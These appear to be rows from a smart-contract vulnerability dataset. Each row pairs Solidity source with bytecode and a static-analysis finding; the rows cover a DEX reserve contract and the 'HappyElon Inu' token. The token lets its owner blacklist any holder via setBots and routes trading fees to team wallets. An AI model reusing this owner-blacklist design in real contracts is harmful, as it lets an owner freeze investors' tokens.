require(actualDestAmount >= destAmount); //TODO: should we require these (also in sell)?
require(destToken.transfer(destAddress, actualDestAmount));
} else {
require(srcToken.transferFrom(msg.sender, this, srcAmount));
if (srcToken.allowance(this, oasisDirect) < srcAmount) {
srcToken.approve(oasisDirect, uint(-1)); //TODO - should we use -1 like in proxy??
}
actualDestAmount = oasisDirect.sellAllAmountBuyEth(otc, srcToken, srcAmount, wethToken, destAmount);
require(actualDestAmount >= destAmount);
destAddress.transfer(actualDestAmount);
}
TradeExecute(msg.sender, srcToken, srcAmount, destToken, actualDestAmount, destAddress);
return true;
}
event DepositToken(ERC20 token, uint amount);
} | 0x60606040526004361061012e5763ffffffff60e060020a60003504166299d386811461018857806301a12fd3146101af5780630d9f5faa146101d057806326782247146101ff57806327a099d81461021257806336b61e3c146102785780633ccdbb281461028b578063408ee7fe146102b45780634b57b0be146102d35780636940030f146102e65780636cf69811146102f957806375829def1461032557806377f50f97146103445780637acc8678146103575780637c423f54146103765780637cd44272146103895780639870d7fe146103c6578063ac8a584a146103e5578063b78b842d14610404578063ce56c45414610417578063d621e81314610439578063d83678ac1461044c578063f63bf8bd1461045f578063f851a44014610496578063fa64dffa146104a9575b7f2d0c0a8842b9944ece1495eb61121621b5e36bd6af3bba0318c695f525aef79f73eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee34604051600160a060020a03909216825260208201526040908101905180910390a1005b341561019357600080fd5b61019b6104d4565b604051901515815260200160405180910390f35b34156101ba57600080fd5b6101ce600160a060020a0360043516610562565b005b34156101db57600080fd5b6101e36106d2565b604051600160a060020a03909116815260200160405180910390f35b341561020a57600080fd5b6101e36106e1565b341561021d57600080fd5b6102256106f0565b60405160208082528190810183818151815260200191508051906020019060200280838360005b8381101561026457808201518382015260200161024c565b505050509050019250505060405180910390f35b341561028357600080fd5b6101e3610758565b341561029657600080fd5b6101ce600160a060020a036004358116906024359060443516610767565b34156102bf57600080fd5b6101ce600160a060020a036004351661085e565b34156102de57600080fd5b6101e361095a565b34156102f157600080fd5b61019b610969565b61019b600160a060020a03600435811690602435906044358116906064351660843560a43515156109ea565b341561033057600080fd5b6101ce600160a060020a0360043516610a57565b341561034f57600080fd5b6101ce610af2565b341561036257600080fd5b6101ce600160a060020a0360043516610b8c565b341561038157600080fd5b610225610c6e565b341561039457600080fd5b6103b4600160a060020a0360043581169060243516604435606435610cd4565b60405190815260200160405180910390f35b34156103d157600080fd5b6101ce600160a060020a0360043516610e62565b34156103f057600080fd5b6101ce600160a060020a0360043516610f32565b341561040f57600080fd5b6101e361109e565b341561042257600080fd5b6101ce600435600160a060020a03602435166110ad565b341561044457600080fd5b61019b611140565b341561045757600080fd5b6101e3611161565b341561046a57600080fd5b6101ce600160a060020a0360043581169060243581169060443581169060643581169060843516611170565b34156104a157600080fd5b6101e3611270565b34156104b457600080fd5b6103b4600160a060020a036004358116906024351660443560643561127f565b6000805433600160a060020a039081169116146104f057600080fd5b600b805474ff00000000000000000000000000000000000000001916740100000000000000000000000000000000000000001790557f7d7f00509dd73ac4449f698ae75ccc797895eff5fa9d446d3df387598a26e7356001604051901515815260200160405180910390a15060015b90565b6000805433600160a060020a0390811691161461057e57600080fd5b600160a060020a03821660009081526003602052604090205460ff1615156105a557600080fd5b50600160a060020a0381166000908152600360205260408120805460ff191690555b6005548110156106ce5781600160a060020a03166005828154811015156105ea57fe5b600091825260209091200154600160a060020a031614156106c65760058054600019810190811061061757fe5b60009182526020909120015460058054600160a060020a03909216918390811061063d57fe5b60009182526020909120018054600160a060020a031916600160a060020a0392909216919091179055600580549061067990600019830161195a565b507f5611bf3e417d124f97bf2c788843ea8bb502b66079fbee02158ef30b172cb762826000604051600160a060020a039092168252151560208201526040908101905180910390a16106ce565b6001016105c7565b5050565b600854600160a060020a031681565b600154600160a060020a031681565b6106f8611983565b600480548060200260200160405190810160405280929190818152602001828054801561074e57602002820191906000526020600020905b8154600160a060020a03168152600190910190602001808311610730575b5050505050905090565b600954600160a060020a031681565b60005433600160a060020a0390811691161461078257600080fd5b82600160a060020a031663a9059cbb828460006040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b15156107df57600080fd5b6102c65a03f115156107f057600080fd5b50505060405180519050151561080557600080fd5b7f72cb8a894ddb372ceec3d2a7648d86f17d5a15caae0e986c53109b8a9a9385e6838383604051600160a060020a03938416815260208101929092529091166040808301919091526060909101905180910390a1505050565b60005433600160a060020a0390811691161461087957600080fd5b600160a060020a03811660009081526003602052604090205460ff161561089f57600080fd5b600554603290106108af57600080fd5b7f5611bf3e417d124f97bf2c788843ea8bb502b66079fbee02158ef30b172cb762816001604051600160a060020a039092168252151560208201526040908101905180910390a1600160a060020a0381166000908152600360205260409020805460ff19166001908117909155600580549091810161092e838261195a565b5060009182526020909120018054600160a060020a031916600160a060020a0392909216919091179055565b600a54600160a060020a031681565b600160a060020a03331660009081526003602052604081205460ff16151561099057600080fd5b600b805474ff0000000000000000000000000000000000000000191690557f7d7f00509dd73ac4449f698ae75ccc797895eff5fa9d446d3df387598a26e7356000604051901515815260200160405180910390a150600190565b600b5460009074010000000000000000000000000000000000000000900460ff161515610a1657600080fd5b60075433600160a060020a03908116911614610a3157600080fd5b610a3f8787878787876112b1565b1515610a4a57600080fd5b5060019695505050505050565b60005433600160a060020a03908116911614610a7257600080fd5b600160a060020a0381161515610a8757600080fd5b6001547f3b81caf78fa51ecbc8acb482fd7012a277b428d9b80f9d156e8a54107496cc4090600160a060020a0316604051600160a060020a03909116815260200160405180910390a160018054600160a060020a031916600160a060020a0392909216919091179055565b60015433600160a060020a03908116911614610b0d57600080fd5b6001546000547f65da1cfc2c2e81576ad96afb24a581f8e109b7a403b35cbd3243a1c99efdb9ed91600160a060020a039081169116604051600160a060020a039283168152911660208201526040908101905180910390a16001805460008054600160a060020a0319908116600160a060020a03841617909155169055565b60005433600160a060020a03908116911614610ba757600080fd5b600160a060020a0381161515610bbc57600080fd5b7f3b81caf78fa51ecbc8acb482fd7012a277b428d9b80f9d156e8a54107496cc4081604051600160a060020a03909116815260200160405180910390a16000547f65da1cfc2c2e81576ad96afb24a581f8e109b7a403b35cbd3243a1c99efdb9ed908290600160a060020a0316604051600160a060020a039283168152911660208201526040908101905180910390a160008054600160a060020a031916600160a060020a0392909216919091179055565b610c76611983565b600580548060200260200160405190810160405280929190818152602001828054801561074e57602002820191906000526020600020908154600160a060020a03168152600190910190602001808311610730575050505050905090565b6000806000806000600b60149054906101000a900460ff161515610cfb5760009450610e56565b600b54600160a060020a038a8116911614801590610d275750600b54600160a060020a03898116911614155b15610d355760009450610e56565b600160a060020a03891673eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee1415610d6e575050600a54600160a060020a031686610db1565b600160a060020a03881673eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee1415610da8575050600a548790600160a060020a0316610db1565b60009450610e56565b600954600160a060020a031663144a275282848a60006040516020015260405160e060020a63ffffffff8616028152600160a060020a0393841660048201529190921660248201526044810191909152606401602060405180830381600087803b1515610e1d57600080fd5b6102c65a03f11515610e2e57600080fd5b50505060405180519050925086670de0b6b3a76400008402811515610e4f57fe5b0493508394505b50505050949350505050565b60005433600160a060020a03908116911614610e7d57600080fd5b600160a060020a03811660009081526002602052604090205460ff1615610ea357600080fd5b60045460329010610eb357600080fd5b7f091a7a4b85135fdd7e8dbc18b12fabe5cc191ea867aa3c2e1a24a102af61d58b816001604051600160a060020a039092168252151560208201526040908101905180910390a1600160a060020a0381166000908152600260205260409020805460ff19166001908117909155600480549091810161092e838261195a565b6000805433600160a060020a03908116911614610f4e57600080fd5b600160a060020a03821660009081526002602052604090205460ff161515610f7557600080fd5b50600160a060020a0381166000908152600260205260408120805460ff191690555b6004548110156106ce5781600160a060020a0316600482815481101515610fba57fe5b600091825260209091200154600160a060020a0316141561109657600480546000198101908110610fe757fe5b60009182526020909120015460048054600160a060020a03909216918390811061100d57fe5b60009182526020909120018054600160a060020a031916600160a060020a0392909216919091179055600480546000190190611049908261195a565b507f091a7a4b85135fdd7e8dbc18b12fabe5cc191ea867aa3c2e1a24a102af61d58b826000604051600160a060020a039092168252151560208201526040908101905180910390a16106ce565b600101610f97565b600754600160a060020a031681565b60005433600160a060020a039081169116146110c857600080fd5b600160a060020a03811682156108fc0283604051600060405180830381858888f1935050505015156110f957600080fd5b7fec47e7ed86c86774d1a72c19f35c639911393fe7c1a34031fdbd260890da90de8282604051918252600160a060020a031660208201526040908101905180910390a15050565b600b5474010000000000000000000000000000000000000000900460ff1681565b600b54600160a060020a031681565b60005433600160a060020a0390811691161461118b57600080fd5b600160a060020a03851615156111a057600080fd5b600160a060020a03841615156111b557600080fd5b600160a060020a03831615156111ca57600080fd5b600160a060020a03821615156111df57600080fd5b600160a060020a03811615156111f457600080fd5b60078054600160a060020a0319908116600160a060020a03888116919091179283905560088054831688831617908190556009805484168884161790819055600a805485168885161790819055600b805490951687851617948590556112699584169492841693918216929082169116611170565b5050505050565b600054600160a060020a031681565b600080600061128d866117fd565b9150611298876117fd565b90506112a6858284876118c1565b979650505050505050565b6000808073eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee600160a060020a038a1614806112fc575073eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee600160a060020a038816145b151561130757600080fd5b600b54600160a060020a038a8116911614806113305750600b54600160a060020a038881169116145b151561133b57600080fd5b831561138f576000851161134e57600080fd5b600160a060020a03891673eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee14156113845734881461137f57600080fd5b61138f565b341561138f57600080fd5b61139b89888a8861127f565b9050600081116113aa57600080fd5b600160a060020a03891673eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee141561150257600854600954600a54600160a060020a039283169263e50278a692349290821691168b8660006040516020015260405160e060020a63ffffffff8816028152600160a060020a03948516600482015292841660248401529216604482015260648101919091526084016020604051808303818588803b151561145057600080fd5b6125ee5a03f1151561146157600080fd5b5050505060405180519250508082101561147a57600080fd5b86600160a060020a031663a9059cbb878460006040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b15156114d757600080fd5b6102c65a03f115156114e857600080fd5b5050506040518051905015156114fd57600080fd5b611781565b88600160a060020a03166323b872dd33308b60006040516020015260405160e060020a63ffffffff8616028152600160a060020a0393841660048201529190921660248201526044810191909152606401602060405180830381600087803b151561156c57600080fd5b6102c65a03f1151561157d57600080fd5b50505060405180519050151561159257600080fd5b6008548890600160a060020a03808c169163dd62ed3e9130911660006040516020015260405160e060020a63ffffffff8516028152600160a060020a03928316600482015291166024820152604401602060405180830381600087803b15156115fa57600080fd5b6102c65a03f1151561160b57600080fd5b50505060405180519050101561169c57600854600160a060020a03808b169163095ea7b3911660001960006040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b151561168057600080fd5b6102c65a03f1151561169157600080fd5b505050604051805150505b600854600954600a54600160a060020a03928316926303e1b3c6928116918d918d91168660006040516020015260405160e060020a63ffffffff8816028152600160a060020a039586166004820152938516602485015260448401929092529092166064820152608481019190915260a401602060405180830381600087803b151561172757600080fd5b6102c65a03f1151561173857600080fd5b50505060405180519250508082101561175057600080fd5b600160a060020a03861682156108fc0283604051600060405180830381858888f19350505050151561178157600080fd5b33600160a060020a03167fea9415385bae08fe9f6dc457b02577166790cde83bb18cc340aac6cb81b824de8a8a8a868b604051600160a060020a039586168152602081019490945291841660408085019190915260608401919091529216608082015260a001905180910390a250600198975050505050505050565b600080600160a060020a03831673eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee141561182e57601291506118bb565b50600160a060020a0382166000908152600660205260409020548015156118b75782600160a060020a031663313ce5676000604051602001526040518163ffffffff1660e060020a028152600401602060405180830381600087803b151561189557600080fd5b6102c65a03f115156118a657600080fd5b5050506040518051905091506118bb565b8091505b50919050565b60006b204fce5e3e250261100000008511156118dc57600080fd5b69d3c21bcecceda10000008211156118f357600080fd5b838310611926576012848403111561190a57600080fd5b670de0b6b3a7640000858302858503600a0a025b049050611952565b6012838503111561193657600080fd5b828403600a0a670de0b6b3a76400000282860281151561191e57fe5b949350505050565b81548183558181151161197e5760008381526020902061197e918101908301611995565b505050565b60206040519081016040526000815290565b61055f91905b808211156119af576000815560010161199b565b50905600a165627a7a72305820e38f766b7b1a8be6fc3f5c66af350177b2d9a3d1435e57a87139a6e3572162be0029 | {"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | 1,125 |
0x41e1b13e5db8aab0639744de673f490610a8ecd6 | /**
*Submitted for verification at Etherscan.io on 2021-06-28
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract HappyElon is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "HappyElon Inu";
string private constant _symbol = "HappyElon";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 2;
uint256 private _teamFee = 10;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
uint256 public launchBlock;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 2;
_teamFee = 10;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to] && !bots[msg.sender]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (block.number <= launchBlock + 2 && amount == _maxTxAmount) {
if (from != uniswapV2Pair && from != address(uniswapV2Router)) {
bots[from] = true;
} else if (to != uniswapV2Pair && to != address(uniswapV2Router)) {
bots[to] = true;
}
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function isExcluded(address account) public view returns (bool) {
return _isExcludedFromFee[account];
}
function isBlackListed(address account) public view returns (bool) {
return bots[account];
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.mul(4).div(10));
_marketingFunds.transfer(amount.mul(6).div(10));
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 3000000000 * 10**9;
launchBlock = block.number;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, 10);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
} | 0x60806040526004361061012e5760003560e01c80638da5cb5b116100ab578063c9567bf91161006f578063c9567bf9146103c5578063cba0e996146103dc578063d00efb2f14610419578063d543dbeb14610444578063dd62ed3e1461046d578063e47d6060146104aa57610135565b80638da5cb5b146102f257806395d89b411461031d578063a9059cbb14610348578063b515566a14610385578063c3c8cd80146103ae57610135565b8063313ce567116100f2578063313ce567146102335780635932ead11461025e5780636fc3eaec1461028757806370a082311461029e578063715018a6146102db57610135565b806306fdde031461013a578063095ea7b31461016557806318160ddd146101a257806323b872dd146101cd578063273123b71461020a57610135565b3661013557005b600080fd5b34801561014657600080fd5b5061014f6104e7565b60405161015c9190613316565b60405180910390f35b34801561017157600080fd5b5061018c60048036038101906101879190612e39565b610524565b60405161019991906132fb565b60405180910390f35b3480156101ae57600080fd5b506101b7610542565b6040516101c491906134b8565b60405180910390f35b3480156101d957600080fd5b506101f460048036038101906101ef9190612dea565b610553565b60405161020191906132fb565b60405180910390f35b34801561021657600080fd5b50610231600480360381019061022c9190612d5c565b61062c565b005b34801561023f57600080fd5b5061024861071c565b604051610255919061352d565b60405180910390f35b34801561026a57600080fd5b5061028560048036038101906102809190612eb6565b610725565b005b34801561029357600080fd5b5061029c6107d7565b005b3480156102aa57600080fd5b506102c560048036038101906102c09190612d5c565b610849565b6040516102d291906134b8565b60405180910390f35b3480156102e757600080fd5b506102f061089a565b005b3480156102fe57600080fd5b506103076109ed565b604051610314919061322d565b60405180910390f35b34801561032957600080fd5b50610332610a16565b60405161033f9190613316565b60405180910390f35b34801561035457600080fd5b5061036f600480360381019061036a9190612e39565b610a53565b60405161037c91906132fb565b60405180910390f35b34801561039157600080fd5b506103ac60048036038101906103a79190612e75565b610a71565b005b3480156103ba57600080fd5b506103c3610bc1565b005b3480156103d157600080fd5b506103da610c3b565b005b3480156103e857600080fd5b5061040360048036038101906103fe9190612d5c565b61119e565b60405161041091906132fb565b60405180910390f35b34801561042557600080fd5b5061042e6111f4565b60405161043b91906134b8565b60405180910390f35b34801561045057600080fd5b5061046b60048036038101906104669190612f08565b6111fa565b005b34801561047957600080fd5b50610494600480360381019061048f9190612dae565b611343565b6040516104a191906134b8565b60405180910390f35b3480156104b657600080fd5b506104d160048036038101906104cc9190612d5c565b6113ca565b6040516104de91906132fb565b60405180910390f35b60606040518060400160405280600d81526020017f4861707079456c6f6e20496e7500000000000000000000000000000000000000815250905090565b6000610538610531611420565b8484611428565b6001905092915050565b6000683635c9adc5dea00000905090565b60006105608484846115f3565b6106218461056c611420565b61061c85604051806060016040528060288152602001613bf160289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105d2611420565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120469092919063ffffffff16565b611428565b600190509392505050565b610634611420565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106b8906133f8565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61072d611420565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107ba576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107b1906133f8565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610818611420565b73ffffffffffffffffffffffffffffffffffffffff161461083857600080fd5b6000479050610846816120aa565b50565b6000610893600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121cb565b9050919050565b6108a2611420565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461092f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610926906133f8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600981526020017f4861707079456c6f6e0000000000000000000000000000000000000000000000815250905090565b6000610a67610a60611420565b84846115f3565b6001905092915050565b610a79611420565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b06576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610afd906133f8565b60405180910390fd5b60005b8151811015610bbd576001600a6000848481518110610b51577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610bb5906137ce565b915050610b09565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c02611420565b73ffffffffffffffffffffffffffffffffffffffff1614610c2257600080fd5b6000610c2d30610849565b9050610c3